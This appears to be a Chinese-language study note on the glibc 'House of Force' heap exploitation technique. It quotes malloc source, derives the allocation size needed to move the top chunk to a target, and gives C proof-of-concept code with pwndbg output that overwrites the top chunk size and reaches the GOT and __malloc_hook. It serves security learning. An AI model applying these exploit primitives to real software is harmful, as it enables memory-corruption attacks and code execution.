似乎只能在2.23和2.27上成功
利用方法就是控制topchunksize为一个很大的值,一般为-1,申请一个堆使topchunk指向目标地址,下一次就可以申请出来目标地址
下面都按照64位来分析,其余bin里没有chunk是会从topchunk切割
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s))) victim = av->top; size = chunksize(victim); if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)){ remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
所以我们要计算第一次malloc的大小malloc_size从而使topchunk指向目标地址target-0x10,因为会有个chunkhead嘛
target-0x10=remainder=chunk_at_offset(victim, nb)=victim+nb=victim+mallocsize+0x10
所以mallocsize=target-0x20-victim
void *__libc_malloc(size_t bytes) mallocsize会变为无符号,会经过下面的checked_request2size函数处理返回真正申请的size
#define checked_request2size(req, sz) \req是我们malloc参数的size,sz是经过处理后的size ({ \ (sz) = request2size (req); \ if (((sz) < (req)) \ || REQUEST_OUT_OF_RANGE (sz)) \ { \ __set_errno (ENOMEM); \ return 0 ; \ } \ })
#define MINSIZE \ (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) #define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize)) #define INTERNAL_SIZE_T size_t #define SIZE_SZ (sizeof(INTERNAL_SIZE_T)) #define MALLOC_ALIGNMENT (2 *SIZE_SZ) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) >= \ (unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE)) #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ MINSIZE : \ ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
REQUEST_OUT_OF_RANGE要求malloc大小不得大于-2 * MINSIZE,一般满足
request2size要求((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)>=req,基本上都满足,但是会影响我们的申请大小,这就需要req+SIZE_SZ最后四个bit为0,也就是req后面尽量为0x8才会不改变大小
Wiki例子 指针减小来修改topchunk上面的内容 int main () { long *ptr,*ptr2; ptr=malloc (0x10 ); ptr=(long *)(((long )ptr)+24 ); *ptr=-1 ; malloc (-4120 ); malloc (0x10 ); }
Top chunk | PREV_INUSE Addr: 0x602020 Size: 0x20fe1 pwndbg> got /mnt/hgfs/share/how2heap/glibc_2.23 /a.out: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600f f8 R_X86_64_GLOB_DAT __gmon_start__0000000000601018 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2 .5 0000000000601020 R_X86_64_JUMP_SLOT malloc @GLIBC_2.2 .5
这里着重说下-4120,原本要申请的size为mallocsize=target-0x20-victim=0x00000000601020-0x20-0x602020=FFFFFFFFFFFFEFE0=-4128
但是不满足req后面尽量为0x8的条件,所以加了8变为FFFFFFFFFFFFEFE8=-4120
malloc(-4120);后下一次就可以申请got
got上面的值会被改写为大小
指针增大来修改topchunk下面的内容 int main () { long *ptr,*ptr2; ptr=malloc (0x10 ); ptr=(long *)(((long )ptr)+24 ); *ptr=-1 ; malloc (140737345551056 ); malloc (0x10 ); }
Top chunk | PREV_INUSE Addr: 0x602020 Size: 0x20fe1 pwndbg> p &__malloc_hook $1 = (void *(**)(size_t , const void *)) 0x7ffff7dd1b10 <__malloc_hook>
140737345551056是从mallocsize=target-0x20-victim=0x7ffff7dd1b10-0x20-0x602020